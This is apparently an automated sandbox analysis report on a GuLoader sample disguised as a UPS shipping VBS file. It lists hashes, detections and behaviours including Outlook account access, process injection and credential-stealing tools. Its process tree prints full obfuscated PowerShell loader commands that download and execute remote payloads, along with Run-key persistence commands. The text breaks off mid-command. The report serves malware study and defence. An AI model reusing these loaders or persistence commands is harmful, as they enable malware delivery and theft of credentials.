guloader | 49042e86af4503a917b8408c4faab2759688065a429015a2c90430fa7371291f

Analysis

max time kernel
298s
max time network
274s
platform
windows11-21h2_x64
resource
win11-20240611-en
resource tags

arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
submitted
03/07/2024, 23:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Dropped Malware/ups_awb_shipping_post_26062024224782020031808174CN18240624000002624(991KB).vbs
Size

187KB
MD5

a408481803f47324f6479a3b70ad763b
SHA1

1a3232aeec010ce287ea65dd1a24255f95470d48
SHA256

4573cff18a16eacc05034a4de1e11330c71331b15169d4249e8b04f3ab67c2bf
SHA512

aab87aee34a0c93381fb0fb926edc137ffced40bba470b15dd45b798aeab9117f5a4daf30932dccef13c5c898d80f626e18a1a65d8c10b2c111319bb781f341e
SSDEEP

3072:dmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZg:d08GxbKja3+DCbKCvBB/WnHXC/sLJFJN

Score

10^/10

guloader collection downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral17/memory/2168-71-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral17/memory/3436-67-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 3 IoCs

resource	yara_rule
behavioral17/memory/3436-67-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral17/memory/2168-71-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral17/memory/224-70-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	2072	WScript.exe
3	556	powershell.exe
11	2212	powershell.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1560405787-796225086-678739705-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1560405787-796225086-678739705-1000\Software\Microsoft\Windows\CurrentVersion\Run\Superprogrammrernes = "%Telefonledningernes% -w 1 $Laminae=(Get-ItemProperty -Path 'HKCU:\\Fornjelig\\').Beepers146;%Telefonledningernes% ($Laminae)"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1560405787-796225086-678739705-1000\Software\Microsoft\Windows\CurrentVersion\Run\Rollingerne = "%Montuvio% -w 1 $Lkapsler=(Get-ItemProperty -Path 'HKCU:\\overdeferential\\').retoucheres;%Montuvio% ($Lkapsler)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 4 IoCs

pid	Process
1424	wab.exe
1424	wab.exe
1668	wab.exe
1668	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
1584	powershell.exe
1424	wab.exe
3872	powershell.exe
1668	wab.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 1584 set thread context of 1424	1584	powershell.exe	87
PID 1424 set thread context of 3436	1424	wab.exe	92
PID 1424 set thread context of 2168	1424	wab.exe	93
PID 1424 set thread context of 224	1424	wab.exe	94
PID 3872 set thread context of 1668	3872	powershell.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1560405787-796225086-678739705-1000_Classes\Local Settings	wab.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
2000	reg.exe
2868	reg.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
556	powershell.exe
556	powershell.exe
1584	powershell.exe
1584	powershell.exe
1584	powershell.exe
3436	wab.exe
3436	wab.exe
224	wab.exe
224	wab.exe
2212	powershell.exe
2212	powershell.exe
3436	wab.exe
3436	wab.exe
3872	powershell.exe
3872	powershell.exe
3872	powershell.exe
1668	wab.exe
1668	wab.exe
1668	wab.exe
1668	wab.exe
1668	wab.exe
1668	wab.exe
1668	wab.exe
1668	wab.exe
1668	wab.exe
1668	wab.exe
1668	wab.exe
1668	wab.exe
1668	wab.exe
1668	wab.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
1584	powershell.exe
1424	wab.exe
1424	wab.exe
1424	wab.exe
3872	powershell.exe
3872	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	556	powershell.exe
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeDebugPrivilege	224	wab.exe
Token: SeDebugPrivilege	2212	powershell.exe
Token: SeDebugPrivilege	3872	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1424	wab.exe

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 2072 wrote to memory of 556	2072	WScript.exe	82
PID 2072 wrote to memory of 556	2072	WScript.exe	82
PID 556 wrote to memory of 2360	556	powershell.exe	84
PID 556 wrote to memory of 2360	556	powershell.exe	84
PID 556 wrote to memory of 1584	556	powershell.exe	85
PID 556 wrote to memory of 1584	556	powershell.exe	85
PID 556 wrote to memory of 1584	556	powershell.exe	85
PID 1584 wrote to memory of 4900	1584	powershell.exe	86
PID 1584 wrote to memory of 4900	1584	powershell.exe	86
PID 1584 wrote to memory of 4900	1584	powershell.exe	86
PID 1584 wrote to memory of 1424	1584	powershell.exe	87
PID 1584 wrote to memory of 1424	1584	powershell.exe	87
PID 1584 wrote to memory of 1424	1584	powershell.exe	87
PID 1584 wrote to memory of 1424	1584	powershell.exe	87
PID 1584 wrote to memory of 1424	1584	powershell.exe	87
PID 1424 wrote to memory of 2928	1424	wab.exe	88
PID 1424 wrote to memory of 2928	1424	wab.exe	88
PID 1424 wrote to memory of 2928	1424	wab.exe	88
PID 2928 wrote to memory of 2000	2928	cmd.exe	90
PID 2928 wrote to memory of 2000	2928	cmd.exe	90
PID 2928 wrote to memory of 2000	2928	cmd.exe	90
PID 1424 wrote to memory of 1028	1424	wab.exe	91
PID 1424 wrote to memory of 1028	1424	wab.exe	91
PID 1424 wrote to memory of 1028	1424	wab.exe	91
PID 1424 wrote to memory of 3436	1424	wab.exe	92
PID 1424 wrote to memory of 3436	1424	wab.exe	92
PID 1424 wrote to memory of 3436	1424	wab.exe	92
PID 1424 wrote to memory of 3436	1424	wab.exe	92
PID 1424 wrote to memory of 2168	1424	wab.exe	93
PID 1424 wrote to memory of 2168	1424	wab.exe	93
PID 1424 wrote to memory of 2168	1424	wab.exe	93
PID 1424 wrote to memory of 2168	1424	wab.exe	93
PID 1424 wrote to memory of 224	1424	wab.exe	94
PID 1424 wrote to memory of 224	1424	wab.exe	94
PID 1424 wrote to memory of 224	1424	wab.exe	94
PID 1424 wrote to memory of 224	1424	wab.exe	94
PID 1028 wrote to memory of 2212	1028	WScript.exe	95
PID 1028 wrote to memory of 2212	1028	WScript.exe	95
PID 1028 wrote to memory of 2212	1028	WScript.exe	95
PID 2212 wrote to memory of 1852	2212	powershell.exe	97
PID 2212 wrote to memory of 1852	2212	powershell.exe	97
PID 2212 wrote to memory of 1852	2212	powershell.exe	97
PID 2212 wrote to memory of 3872	2212	powershell.exe	98
PID 2212 wrote to memory of 3872	2212	powershell.exe	98
PID 2212 wrote to memory of 3872	2212	powershell.exe	98
PID 3872 wrote to memory of 1440	3872	powershell.exe	99
PID 3872 wrote to memory of 1440	3872	powershell.exe	99
PID 3872 wrote to memory of 1440	3872	powershell.exe	99
PID 3872 wrote to memory of 4876	3872	powershell.exe	100
PID 3872 wrote to memory of 4876	3872	powershell.exe	100
PID 3872 wrote to memory of 4876	3872	powershell.exe	100
PID 3872 wrote to memory of 1668	3872	powershell.exe	101
PID 3872 wrote to memory of 1668	3872	powershell.exe	101
PID 3872 wrote to memory of 1668	3872	powershell.exe	101
PID 3872 wrote to memory of 1668	3872	powershell.exe	101
PID 3872 wrote to memory of 1668	3872	powershell.exe	101
PID 1668 wrote to memory of 2360	1668	wab.exe	102
PID 1668 wrote to memory of 2360	1668	wab.exe	102
PID 1668 wrote to memory of 2360	1668	wab.exe	102
PID 2360 wrote to memory of 2868	2360	cmd.exe	104
PID 2360 wrote to memory of 2868	2360	cmd.exe	104
PID 2360 wrote to memory of 2868	2360	cmd.exe	104

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Dropped Malware\ups_awb_shipping_post_26062024224782020031808174CN18240624000002624(991KB).vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Alcoa Restauranterne Evnesvag Cistophoric Frisvmmere Baroscopic151 Colaers Maney Lyngbyaceae Overripen224 Fuldtidsjob Tjenestemndenes Rowet Skolealderens188 Slouchily emulsible Bghjortenes Tabescence Brandtomts Pelotas Branchial Forbisetes salamis Predamaged3 Alcoa Restauranterne Evnesvag Cistophoric Frisvmmere Baroscopic151 Colaers Maney Lyngbyaceae Overripen224 Fuldtidsjob Tjenestemndenes Rowet Skolealderens188 Slouchily emulsible Bghjortenes Tabescence Brandtomts Pelotas Branchial Forbisetes salamis Predamaged3';$Betnkelighederne = 1;Function Fellatrices($Trucing){$Farcically232=$Trucing.Length-$Betnkelighederne;$Leukocytotic64='SUBSTRIN';$Leukocytotic64+='G';For( $gracileness=1;$gracileness -lt $Farcically232;$gracileness+=2){$Alcoa+=$Trucing.$Leukocytotic64.Invoke( $gracileness, $Betnkelighederne);}$Alcoa;}function Interalar47($Weather){ . ($Terrnlbets253) ($Weather);}$talesituationens=Fellatrices ' MFo zsiKl.lNa / 5..D0. H( WSilnNd.o w sI NDT .1 0F. 0H;N TW.iTn 6h4R; Sx.6L4.;C RrAv :S1i2M1S.C0S)R BGAeTc k oA/ 2.0D1R0 0.1Y0,1 ,F iCrDeRfFo xL/H1f2S1T. 0E ';$Stilkunstnernes=Fellatrices 'FUUsleOrU-HATgTe n t ';$Frisvmmere=Fellatrices '.h,tit.pBs :./K/le.vCoTlEu xPc.o nSt.a baiFl i dnaVd.eO. c o mR.Kb.rC/pbLr,/,K osn kBuDrKr eTnTc,eCe vNn.eFn,.Fd wKpK> hWtNtIpR:B/ / 9 4v..1 5B6 . 7G9...2D1s1P/ K.oFn kCuUrBr eTnOcTe,eRvvn ePn .Od wUp ';$Constantia228=Fellatrices 'E>R ';$Terrnlbets253=Fellatrices 'TiSe xR ';$Yearock='Maney';$Smittle = Fellatrices ' eAcNh o, V%.a p pCdSa t,aw% \,RDe p,s e,tB.BKAb m. C&,&. ,ePcNhNo, At ';Interalar47 (Fellatrices 'P$UgMlPoRb aIlB:SL iPbPeBlElAi,sNts=.(ScAmId, S/ cL P$ S.m iPt tPl,e )A ');Interalar47 (Fellatrices ' $ g l oFb.a.l.:,CmiSsTt o pVh,ohr.iTc =.$ F,r.iUs.vVm mFeDrTeF. sMpsl i t,(B$ICto nVsTtAaRn tKina.2 2 8,) ');Interalar47 (Fellatrices 'p[VN e.t.. SSeKr,v iTckeSPFoOiCnSt MSaFn.a gdeSr ],:F: SAeCcIuIr.iEt ySP rLoTtEo cTo lT .=F K[ N,eUti.,SAe,c u r i tAyRPKr o t o,c opl TAy pue ]U:W: Tal s 1,2 ');$Frisvmmere=$Cistophoric[0];$Snidely= (Fellatrices ' $DgKl,o,bBa.lP: pTr.oVpNeMl lNeSrCsC=.NBeBw.-BOUb jIeGc t, SAy s tAeFm..DNEe tH.AWPePb,CLl iTe n t');$Snidely+=$Libellist[1];Interalar47 ($Snidely);Interalar47 (Fellatrices 'H$SpCrToEpde lElDeSrLsR.TH e a d eVr sB[k$ S.tUi lNk.uFnUsNt nAeNr nbeHs ],= $EtPa lKe sFiStTuSaBtBi o n eAn s ');$Hotheartedness=Fellatrices 'C$ pDr,oDpeeSlClPe,r s.. D o.w n,lSo aPdFFBiFlAeH( $UFUr.i sVvMm m eprSeE, $LFUo rSb iFs,e t,e s.)L ';$Forbisetes=$Libellist[0];Interalar47 (Fellatrices 'F$Kg lSoSb a l : I,n dVu,s.tOrBiPm.i nsi sstBrCe.nBeDs,=U(PTNe.sWt - PAaItSh. S$ F oPrObSi,s.e t.e sI). ');while (!$Industriministrenes) {Interalar47 (Fellatrices '.$ g lPo.b aMl,: b,aFgFtSa laeMr =S$GtArSu.e ') ;Interalar47 $Hotheartedness;Interalar47 (Fellatrices ' Smt.a rMtC- S lLeZeDps 4R ');Interalar47 (Fellatrices ' $ gEl o,bNaBl :PIsn d,u sVtUr i m iRn i s t r ecnEe sD= (,TRe sPtA-LPLa t h $ F oBrUbLi,s,e t,e sS)r ') ;Interalar47 (Fellatrices ' $DgNlCo bDaOlR:RE v n.e sAv.aBgv=,$ g,l,oBb,aIla:.RFegs t.aKu rSa nPtTe,rKnSe.+G+ % $EC,i swtKoUpchGo.rSiscS.NcNo,uLnLt, ') ;$Frisvmmere=$Cistophoric[$Evnesvag];}$Knallertfreren=362845;$tolkningsrammerne=26102;Interalar47 (Fellatrices 'P$,gOlCo bNa.lH: Ldy.nDgDb y,a c e a.e, U= NGRe tl-SCEoTn t.e n t. D$ FIo r bLiEs eAt e s ');Interalar47 (Fellatrices ' $Tgwl,o,bBaSl : P.e,lEoOrKi,aKn T= [RSTy sPt,ePmS. C.oSn,vIe.rSt ].:R:.F r o.mGBVa sFeC6 4 S tVrNiBn gI(A$ILAyHnVgIb y a c eCaHe ). ');Interalar47 (Fellatrices 'F$Mg l oPbOa,lO:CT j eMnTeLsAtAeWm nBd eFn eLs, =S .[RSGy.s t eemK.MT eKx.t . E,nScOo.d.i nMg,],:A:LADSRCAIUIB. G eSt S,tPrFiIn g,(a$,Pse,l oCrFiMaSn )B ');Interalar47 (Fellatrices 'M$FgSl.oSb a.l :PF o rHdBr.iAnPgNsBh a,v.e.r.eC1,8K0.= $CT.j.ePn.eSs tDeSmVn d e nUeBs .psFu bSsFt,r iAn,gB( $,K,n.aFlIl.eAr.t f,rOe.r,e n ,,$VtEoOl,kGnGiun g sBr aIm.mBe,rAn e.) ');Interalar47 $Fordringshavere180;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:556
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Repset.Kbm && echo t"
    3⤵
    PID:2360
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Alcoa Restauranterne Evnesvag Cistophoric Frisvmmere Baroscopic151 Colaers Maney Lyngbyaceae Overripen224 Fuldtidsjob Tjenestemndenes Rowet Skolealderens188 Slouchily emulsible Bghjortenes Tabescence Brandtomts Pelotas Branchial Forbisetes salamis Predamaged3 Alcoa Restauranterne Evnesvag Cistophoric Frisvmmere Baroscopic151 Colaers Maney Lyngbyaceae Overripen224 Fuldtidsjob Tjenestemndenes Rowet Skolealderens188 Slouchily emulsible Bghjortenes Tabescence Brandtomts Pelotas Branchial Forbisetes salamis Predamaged3';$Betnkelighederne = 1;Function Fellatrices($Trucing){$Farcically232=$Trucing.Length-$Betnkelighederne;$Leukocytotic64='SUBSTRIN';$Leukocytotic64+='G';For( $gracileness=1;$gracileness -lt $Farcically232;$gracileness+=2){$Alcoa+=$Trucing.$Leukocytotic64.Invoke( $gracileness, $Betnkelighederne);}$Alcoa;}function Interalar47($Weather){ . ($Terrnlbets253) ($Weather);}$talesituationens=Fellatrices ' MFo zsiKl.lNa / 5..D0. H( WSilnNd.o w sI NDT .1 0F. 0H;N TW.iTn 6h4R; Sx.6L4.;C RrAv :S1i2M1S.C0S)R BGAeTc k oA/ 2.0D1R0 0.1Y0,1 ,F iCrDeRfFo xL/H1f2S1T. 0E ';$Stilkunstnernes=Fellatrices 'FUUsleOrU-HATgTe n t ';$Frisvmmere=Fellatrices '.h,tit.pBs :./K/le.vCoTlEu xPc.o nSt.a baiFl i dnaVd.eO. c o mR.Kb.rC/pbLr,/,K osn kBuDrKr eTnTc,eCe vNn.eFn,.Fd wKpK> hWtNtIpR:B/ / 9 4v..1 5B6 . 7G9...2D1s1P/ K.oFn kCuUrBr eTnOcTe,eRvvn ePn .Od wUp ';$Constantia228=Fellatrices 'E>R ';$Terrnlbets253=Fellatrices 'TiSe xR ';$Yearock='Maney';$Smittle = Fellatrices ' eAcNh o, V%.a p pCdSa t,aw% \,RDe p,s e,tB.BKAb m. C&,&. ,ePcNhNo, At ';Interalar47 (Fellatrices 'P$UgMlPoRb aIlB:SL iPbPeBlElAi,sNts=.(ScAmId, S/ cL P$ S.m iPt tPl,e )A ');Interalar47 (Fellatrices ' $ g l oFb.a.l.:,CmiSsTt o pVh,ohr.iTc =.$ F,r.iUs.vVm mFeDrTeF. sMpsl i t,(B$ICto nVsTtAaRn tKina.2 2 8,) ');Interalar47 (Fellatrices 'p[VN e.t.. SSeKr,v iTckeSPFoOiCnSt MSaFn.a gdeSr ],:F: SAeCcIuIr.iEt ySP rLoTtEo cTo lT .=F K[ N,eUti.,SAe,c u r i tAyRPKr o t o,c opl TAy pue ]U:W: Tal s 1,2 ');$Frisvmmere=$Cistophoric[0];$Snidely= (Fellatrices ' $DgKl,o,bBa.lP: pTr.oVpNeMl lNeSrCsC=.NBeBw.-BOUb jIeGc t, SAy s tAeFm..DNEe tH.AWPePb,CLl iTe n t');$Snidely+=$Libellist[1];Interalar47 ($Snidely);Interalar47 (Fellatrices 'H$SpCrToEpde lElDeSrLsR.TH e a d eVr sB[k$ S.tUi lNk.uFnUsNt nAeNr nbeHs ],= $EtPa lKe sFiStTuSaBtBi o n eAn s ');$Hotheartedness=Fellatrices 'C$ pDr,oDpeeSlClPe,r s.. D o.w n,lSo aPdFFBiFlAeH( $UFUr.i sVvMm m eprSeE, $LFUo rSb iFs,e t,e s.)L ';$Forbisetes=$Libellist[0];Interalar47 (Fellatrices 'F$Kg lSoSb a l : I,n dVu,s.tOrBiPm.i nsi sstBrCe.nBeDs,=U(PTNe.sWt - PAaItSh. S$ F oPrObSi,s.e t.e sI). ');while (!$Industriministrenes) {Interalar47 (Fellatrices '.$ g lPo.b aMl,: b,aFgFtSa laeMr =S$GtArSu.e ') ;Interalar47 $Hotheartedness;Interalar47 (Fellatrices ' Smt.a rMtC- S lLeZeDps 4R ');Interalar47 (Fellatrices ' $ gEl o,bNaBl :PIsn d,u sVtUr i m iRn i s t r ecnEe sD= (,TRe sPtA-LPLa t h $ F oBrUbLi,s,e t,e sS)r ') ;Interalar47 (Fellatrices ' $DgNlCo bDaOlR:RE v n.e sAv.aBgv=,$ g,l,oBb,aIla:.RFegs t.aKu rSa nPtTe,rKnSe.+G+ % $EC,i swtKoUpchGo.rSiscS.NcNo,uLnLt, ') ;$Frisvmmere=$Cistophoric[$Evnesvag];}$Knallertfreren=362845;$tolkningsrammerne=26102;Interalar47 (Fellatrices 'P$,gOlCo bNa.lH: Ldy.nDgDb y,a c e a.e, U= NGRe tl-SCEoTn t.e n t. D$ FIo r bLiEs eAt e s ');Interalar47 (Fellatrices ' $Tgwl,o,bBaSl : P.e,lEoOrKi,aKn T= [RSTy sPt,ePmS. C.oSn,vIe.rSt ].:R:.F r o.mGBVa sFeC6 4 S tVrNiBn gI(A$ILAyHnVgIb y a c eCaHe ). ');Interalar47 (Fellatrices 'F$Mg l oPbOa,lO:CT j eMnTeLsAtAeWm nBd eFn eLs, =S .[RSGy.s t eemK.MT eKx.t . E,nScOo.d.i nMg,],:A:LADSRCAIUIB. G eSt S,tPrFiIn g,(a$,Pse,l oCrFiMaSn )B ');Interalar47 (Fellatrices 'M$FgSl.oSb a.l :PF o rHdBr.iAnPgNsBh a,v.e.r.eC1,8K0.= $CT.j.ePn.eSs tDeSmVn d e nUeBs .psFu bSsFt,r iAn,gB( $,K,n.aFlIl.eAr.t f,rOe.r,e n ,,$VtEoOl,kGnGiun g sBr aIm.mBe,rAn e.) ');Interalar47 $Fordringshavere180;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1584
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Repset.Kbm && echo t"
      4⤵
      PID:4900
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Modifies registry class
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1424
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Superprogrammrernes" /t REG_EXPAND_SZ /d "%Telefonledningernes% -w 1 $Laminae=(Get-ItemProperty -Path 'HKCU:\Fornjelig\').Beepers146;%Telefonledningernes% ($Laminae)"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2928
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Superprogrammrernes" /t REG_EXPAND_SZ /d "%Telefonledningernes% -w 1 $Laminae=(Get-ItemProperty -Path 'HKCU:\Fornjelig\').Beepers146;%Telefonledningernes% ($Laminae)"
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:2000
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Poodle.vbs"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1028
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Commixed Stines Androcratic Bertolonia Bestemmelsesstedets Compunct Tydelighed Afdelingsingenirs183 Dorte103 Antiksamlingen Undivisiveness255 Lienectomies Unpreying Pantets Photometrically Pyorrheas luske bortskaffelserne Trassenters Localizations Brumstone Citronsommerfuglens Dikamalli Amebocyte Commixed Stines Androcratic Bertolonia Bestemmelsesstedets Compunct Tydelighed Afdelingsingenirs183 Dorte103 Antiksamlingen Undivisiveness255 Lienectomies Unpreying Pantets Photometrically Pyorrheas luske bortskaffelserne Trassenters Localizations Brumstone Citronsommerfuglens Dikamalli Amebocyte';$Stileemnets = 1;Function Alert($Catoptrical){$Dispropriate=$Catoptrical.Length-$Stileemnets;$Cohesions='SUBSTRIN';$Cohesions+='G';For( $Kaliumklorider=1;$Kaliumklorider -lt $Dispropriate;$Kaliumklorider+=2){$Commixed+=$Catoptrical.$Cohesions.Invoke( $Kaliumklorider, $Stileemnets);}$Commixed;}function Xylografien($Disharmoner){ . ($Dragemanden) ($Disharmoner);}$Cigale=Alert 'PMSomzUiRlBlOaA/B5.. 0S b(TW iSnAdVoUwCsG .NrT 1 0D.S0 ;P .WsiOnX6U4N;, .x 6L4C; r,vF:.1 2T1 . 0B)O BG,ePc k o,/ 2U0 1T0u0S1A0N1. SF.i.rme f,o xD/ 1M2F1 .,0 ';$belieffulness=Alert ' U sHeFr.-TAtg eTnGtP ';$Bestemmelsesstedets=Alert ' hKt.t pHs : / / e.v,oMl.uBxGcFoTnWt.aEbSi.l iFd aEd e .,cKo ml. b rO/.x l oKaAd /FRPuHm nSe r . xot pT ';$Voldtog=Alert 'K>N ';$Dragemanden=Alert ' iGecx, ';$Sydvestenvinds='Afdelingsingenirs183';$Anglisterne = Alert ' eAcAh o %QaVpSpEdKa tGaP%o\BbCeElSe m nPo.iSdBeMaI.OF o,s, ,& & PeDc hPod t ';Xylografien (Alert 'D$ gKl oTbBa lS: FTo r r.eBtAn i,nUg sIocmIr,aUaFdBefr =B( c.mDd. / cB ,$AA nCg l,itsKt e,r nDe ) ');Xylografien (Alert '.$bg.lCo,b aKlQ:HBJe,rBtHo.lKo nDi.a =G$ B e s t,e mKm eKlSs eCsHsSt eOd,e tBs,. sUpSlNi tP(R$,V o.l d tEo gU)R ');Xylografien (Alert ' [ NOe tZ.LS eIr.vBiAc.eSP oCi,n tcMoa.n.aagIeer ]P:D:,S ePc u.rSiot.y PfrPo tFo c,o lB C=, B[HN e t..ESBe cSuSrFiStkyBPjr,o,t.o,cRo lUT y.p,eA] : :DT.lFsM1 2. ');$Bestemmelsesstedets=$Bertolonia[0];$Ghoulishness= (Alert 'S$LgPlUoRb.a.l.:AS.kMo v hSyPt t eSn 9.8.= NUe.wR- O.bAjTeBc t, S y sBt,ePm . NAeTt . WLe b C l.i eKnPt');$Ghoulishness+=$Forretningsomraader[1];Xylografien ($Ghoulishness);Xylografien (Alert '.$ STk o v.hBy t.tKe nS9.8U..HFeHa d ePrBsG[G$DbCe,l.iSe fMf,uLl nHeAsHs.].= $ Cpi g a.lSeS ');$Jacuaru=Alert 'S$ S,kBo vTh,yFt.t eUn,9 8F.UD,o.wfnNl.o,afdTF.iRl,e (C$RBTeAsVtLe m,mTeDl s e sosst eKdBe.tBs ,D$KC iTtTrmoUnNsAo m,m e,r fGuSgElMe n sI). ';$Citronsommerfuglens=$Forretningsomraader[0];Xylografien (Alert ' $SgUl,o b a.l : L,aTv.eInGdUe lSeTn =B(MT e sAtO-IPVa.tIhB B$FCBiPtSr oHngsBoSmIm.ePrPfLuFg.l.ePn sG) ');while (!$Lavendelen) {Xylografien (Alert ' $tg l,oCb,aOl :,DSuPbbl,eJe.r n eR= $NtDrSureF ') ;Xylografien $Jacuaru;Xylografien (Alert ' S tPaMrKtN- SBl e e ps ,4. ');Xylografien (Alert 'C$Dg.l oEb a lH: LPaDv eTn dieGl eOnd=P(.TOe sDtP- P.aStph B$FCFi t rDo.nUs,okmCm ePrPfYugg lAe,n sS)U ') ;Xylografien (Alert 'I$Gg.lboNbMa l :aAHn,dHr.oEcKrHa tOi.cO=A$Sg l oSb a lJ:kSCt,iAn ePsD+ +s%U$ BVeUrHtAo,l oDn,i a ..c oHu n tS ') ;$Bestemmelsesstedets=$Bertolonia[$Androcratic];}$Nonapprehensibility=372684;$Phytin=25966;Xylografien (Alert 'F$ gPl oSb a l :kD onr.t.eM1 0 3 R= FGBe tD-,C.oPnItJeLnFt. S$ C i tFr o nDsKoUm mFe r f.uBgul,eKn s ');Xylografien (Alert 'U$ gAl.oPb.aHl :HEGmFaKnscSi,pBaQtBe B=l [DSDyPsStDeSmH. CsoOnTvLeFr t,]N:B:.FSr,o,m,B a s.e,6u4RS.tNrsi,nagA(W$ DRo r t e 1H0 3S), ');Xylografien (Alert 'I$Bg lSoIbNaBl : L,iTeLnPeCcCtmoSmSiPeRsK =. .[SS yVs t,eIm..VTYe x tS. E,n c,o dIi n g ],:.: A,SOCNIPIM.BGAe,t SItHr i n g (,$UE mBa n cPiRp.aBtDeS)A ');Xylografien (Alert ' $ gPl.ombTaVl.:.SPk rov e b.e lSg nSiMn g e nF= $ L i.e,nae cEtPoSmPi eksA.GsCu b,s tCr i.nOgK(T$bNBoBnDaHpPp rPe hSe.n.sdiAb,i lMi tAy.,,$ PHh yVtBiLn )E ');Xylografien $Skrvebelgningen;"
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2212
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\belemnoidea.Fos && echo t"
        7⤵
        
        PID:1852
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Commixed Stines Androcratic Bertolonia Bestemmelsesstedets Compunct Tydelighed Afdelingsingenirs183 Dorte103 Antiksamlingen Undivisiveness255 Lienectomies Unpreying Pantets Photometrically Pyorrheas luske bortskaffelserne Trassenters Localizations Brumstone Citronsommerfuglens Dikamalli Amebocyte Commixed Stines Androcratic Bertolonia Bestemmelsesstedets Compunct Tydelighed Afdelingsingenirs183 Dorte103 Antiksamlingen Undivisiveness255 Lienectomies Unpreying Pantets Photometrically Pyorrheas luske bortskaffelserne Trassenters Localizations Brumstone Citronsommerfuglens Dikamalli Amebocyte';$Stileemnets = 1;Function Alert($Catoptrical){$Dispropriate=$Catoptrical.Length-$Stileemnets;$Cohesions='SUBSTRIN';$Cohesions+='G';For( $Kaliumklorider=1;$Kaliumklorider -lt $Dispropriate;$Kaliumklorider+=2){$Commixed+=$Catoptrical.$Cohesions.Invoke( $Kaliumklorider, $Stileemnets);}$Commixed;}function Xylografien($Disharmoner){ . ($Dragemanden) ($Disharmoner);}$Cigale=Alert 'PMSomzUiRlBlOaA/B5.. 0S b(TW iSnAdVoUwCsG .NrT 1 0D.S0 ;P .WsiOnX6U4N;, .x 6L4C; r,vF:.1 2T1 . 0B)O BG,ePc k 